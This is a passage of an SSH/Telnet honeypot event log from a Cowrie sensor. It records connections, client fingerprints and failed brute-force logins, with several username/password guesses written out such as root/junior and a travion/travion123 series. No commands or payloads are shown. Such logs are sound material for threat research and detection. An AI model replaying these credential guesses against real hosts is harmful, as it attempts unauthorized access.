f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:12.691958Z","src_ip":"119.28.117.200","session":"500b1452cdf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":45910,"dst_ip":"159.203.135.109","dst_port":22,"session":"e664461ed90d","protocol":"ssh","message":"New connection: 115.178.75.242:45910 (159.203.135.109:22) [session: e664461ed90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:13.306699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:13.311879Z","src_ip":"115.178.75.242","session":"e664461ed90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:13.491309Z","src_ip":"115.178.75.242","session":"e664461ed90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:13.674947Z","src_ip":"119.28.117.200","session":"500b1452cdf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jacinto","message":"login attempt [root/jacinto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:14.238103Z","src_ip":"115.178.75.242","session":"e664461ed90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":30138,"dst_ip":"10.17.0.5","dst_port":22,"session":"d292fd82cf25","protocol":"ssh","message":"New connection: 213.209.159.56:30138 (10.17.0.5:22) [session: d292fd82cf25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:14.832256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:14.837543Z","src_ip":"213.209.159.56","session":"d292fd82cf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:14.918589Z","src_ip":"119.28.117.200","session":"500b1452cdf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:14.925472Z","src_ip":"213.209.159.56","session":"d292fd82cf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:15.420359Z","src_ip":"115.178.75.242","session":"e664461ed90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":51220,"dst_ip":"159.203.135.109","dst_port":22,"session":"293c2f60a2ec","protocol":"ssh","message":"New connection: 43.153.0.59:51220 (159.203.135.109:22) [session: 293c2f60a2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:15.540751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:15.546824Z","src_ip":"43.153.0.59","session":"293c2f60a2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion","message":"login attempt [travion/travion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:15.609094Z","src_ip":"213.209.159.56","session":"d292fd82cf25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:15.618457Z","src_ip":"43.153.0.59","session":"293c2f60a2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alabala","message":"login attempt [root/alabala] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:15.920636Z","src_ip":"43.153.0.59","session":"293c2f60a2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion1","message":"login attempt [travion/travion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:16.696918Z","src_ip":"213.209.159.56","session":"d292fd82cf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:16.991599Z","src_ip":"43.153.0.59","session":"293c2f60a2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion123","message":"login attempt [travion/travion123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:17.782428Z","src_ip":"213.209.159.56","session":"d292fd82cf25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion1234","message":"login attempt [travion/travion1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:18.868340Z","src_ip":"213.209.159.56","session":"d292fd82cf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:19.794084Z","src_ip":"115.190.168.136","session":"2d1425957b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion12345","message":"login attempt [travion/travion12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:19.952928Z","src_ip":"213.209.159.56","session":"d292fd82cf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:21.037739Z","src_ip":"213.209.159.56","session":"d292fd82cf25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":15174,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8dd4f3d196b","protocol":"ssh","message":"New connection: 38.93.206.2:15174 (159.203.135.109:22) [session: e8dd4f3d196b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:22.869420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:22.877169Z","src_ip":"38.93.206.2","session":"e8dd4f3d196b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:22.928239Z","src_ip":"38.93.206.2","session":"e8dd4f3d196b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iceman","message":"login attempt [root/iceman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:23.081103Z","src_ip":"38.93.206.2","session":"e8dd4f3d196b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:24.134909Z","src_ip":"38.93.206.2","session":"e8dd4f3d196b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":34636,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bf9623ee7bc","protocol":"ssh","message":"New connection: 108.167.177.203:34636 (159.203.135.109:22) [session: 2bf9623ee7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:33.305093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:33.309065Z","src_ip":"108.167.177.203","session":"2bf9623ee7bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:33.334075Z","src_ip":"108.167.177.203","session":"2bf9623ee7bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elemental","message":"login attempt [root/elemental] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:33.468381Z","src_ip":"108.167.177.203","session":"2bf9623ee7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.173.247.254","src_port":42876,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5b8561b77f4","protocol":"ssh","message":"New connection: 31.173.247.254:42876 (159.203.135.109:22) [session: e5b8561b77f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:33.865028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:33.869535Z","src_ip":"31.173.247.254","session":"e5b8561b77f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58330,"dst_ip":"10.17.0.5","dst_port":23,"session":"61f821da49c3","protocol":"telnet","message":"New connection: 192.119.13.58:58330 (10.17.0.5:23) [session: 61f821da49c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:33.976433Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:34.112544Z","src_ip":"31.173.247.254","session":"e5b8561b77f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:34.496451Z","src_ip":"108.167.177.203","session":"2bf9623ee7bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Miller","message":"login attempt [root/Miller] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:35.165580Z","src_ip":"31.173.247.254","session":"e5b8561b77f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:36.413214Z","src_ip":"31.173.247.254","session":"e5b8561b77f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.149.112.208","src_port":44196,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c80b7608f36","protocol":"telnet","message":"New connection: 67.149.112.208:44196 (10.17.0.5:23) [session: 6c80b7608f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:37.323680Z"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":55748,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6eb44d4325","protocol":"ssh","message":"New connection: 184.94.212.80:55748 (159.203.135.109:22) [session: dc6eb44d4325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:42.038070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:42.042934Z","src_ip":"184.94.212.80","session":"dc6eb44d4325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:42.107414Z","src_ip":"184.94.212.80","session":"dc6eb44d4325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:42.396055Z","src_ip":"184.94.212.80","session":"dc6eb44d4325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:43.742438Z","src_ip":"184.94.212.80","session":"dc6eb44d4325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":34214,"dst_ip":"10.17.0.5","dst_port":22,"session":"0164f1b4ea43","protocol":"ssh","message":"New connection: 103.77.175.15:34214 (10.17.0.5:22) [session: 0164f1b4ea43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:45.881839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:45.886844Z","src_ip":"103.77.175.15","session":"0164f1b4ea43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""